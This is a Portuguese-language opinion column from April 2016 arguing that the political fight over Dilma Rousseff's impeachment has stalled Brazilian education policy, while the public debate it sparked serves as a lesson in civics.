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Quem ganha e quem perde na educação com o impeachment

19 de abril de 2016

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A batalha política em curso não paralisou só a economia, mas também a educação. Na última década, já não tivemos muitos avanços, exceto pelo aumento do número de estudantes universitários - aposta de risco, já que os alunos vêm de uma formação básica cheia de problemas.

Quando comparamos o desempenho dos estudantes brasileiros de hoje, após 14 anos de governo (somando a gestão de Lula e Dilma) com os indicadores da gestão anterior, não há melhoria notável. O mesmo vale para a estrutura precária das escolas, as condições de trabalho e remuneração dos professores e a ausência de políticas que poderiam fazer a diferença, como por exemplo a ampliação das vagas na educação infantil, a implantação do horário integral nas escolas ou a reforma do ensino médio. Num período de tempo similar, a Coreia do Sul já apresentava mudanças importantes que, pouco depois, a colocariam nos primeiros lugares da educação mundial.

Agora, numa área que deveria ser prioritária e urgente, o compasso é de espera. Com um ministério que mudou a liderança seis vezes em cinco anos, com enormes cortes no orçamento e a atenção da população voltada para o Congresso, nos próximos meses, seja com Dilma Rousseff ou com um governo de transição, não há previsão de ações muito significativas na área da educação.

Apesar disso, nem todos saem perdendo. O fato do noticiário do dia ter passado a fazer parte das conversas familiares, a oportunidade de ver, na prática, numa memorável e por vezes até anedótica sessão da Câmara, a consequência imediata das escolhas políticas que fazemos, e a esperança de acabar com a impunidade secular, materializada pela Operação Lava-Jato, são episódios que valeram por muitas aulas e que, certamente, vão ajudar a formar uma geração com outra educação política e outros valores.

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